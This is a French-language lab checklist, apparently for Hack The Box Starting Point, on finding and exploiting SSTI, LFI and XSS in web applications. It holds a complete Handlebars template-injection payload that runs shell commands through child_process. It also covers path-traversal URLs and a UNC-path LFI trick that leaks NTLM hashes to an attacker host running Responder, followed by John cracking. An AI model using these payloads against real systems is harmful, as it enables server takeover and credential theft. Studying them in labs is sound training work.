Aller au contenu principal

Application web (SSTI, LFI)

Tu as une application web avec des fonctionnalites interactives (champs de saisie, parametres URL). Voici comment identifier et exploiter les vulnerabilites.

Checklist

1. Tester SSTI (Server-Side Template Injection)

Quand : un champ de saisie dont la valeur est affichee dans la reponse.

  • Injecter {{7*7}} dans le champ
  • Le serveur retourne 49 ? → SSTI confirmee !
  • Identifier le moteur de template via le message d'erreur
  • Adapter le payload au moteur :
MoteurLangagePayload de test
HandlebarsNode.js{{7*7}}
Jinja2Python{{7*7}}
TwigPHP{{7*7}}
FreemarkerJava${7*7}

Exploitation Handlebars (Node.js)

  • Payload de base bloque (require is not defined) ?
  • Bypass via process.mainModule.require :
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return process.mainModule.require('child_process').execSync('cat /root/flag.txt')"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
  • URL-encoder le payload avant envoi (BurpSuite → Decoder)

Box : Bike


2. Tester LFI (Local File Inclusion)

Quand : un parametre dans l'URL charge un fichier (page=, file=, include=, lang=).

  • Tester l'inclusion d'un fichier local :
http://<IP>/index.php?page=../../../../etc/hosts
  • Le contenu du fichier s'affiche → LFI confirmee !

Exploitation LFI sur Windows

  • Lancer Responder pour capturer un hash NTLM :
sudo responder -I tun0
  • Injecter un chemin UNC dans le parametre :
http://<IP>/index.php?page=//VOTRE_IP/partage
  • Hash capture par Responder → le craquer avec John
john -w=/usr/share/wordlists/rockyou.txt hash.txt
  • Utiliser le password craque pour se connecter en WinRM/RDP/SSH

Box : Responder


3. Tester XSS (pour plus tard)

Quand : un champ de saisie dont la valeur est affichee (meme si SSTI ne marche pas).

  • Injecter <script>alert(1)</script>
  • Le navigateur execute le script ? → XSS confirmee
remarque

Aucune box Starting Point n'utilise XSS pour le moment, mais c'est un reflexe a avoir.

Arbre de decision

Application web interactive
├── Champ de saisie affiche dans la reponse ?
│ ├── {{7*7}} = 49 → SSTI → RCE
│ └── {{7*7}} = {{7*7}} → pas de SSTI → tester XSS

├── Parametre URL (page=, file=) ?
│ ├── ../../../../etc/hosts → contenu affiche → LFI
│ │ ├── Cible Linux → lire /etc/passwd, /etc/shadow
│ │ └── Cible Windows → UNC path + Responder → hash capture
│ └── Pas de contenu → pas de LFI

└── Rien d'interactif → retour a Gobuster / code source

Liens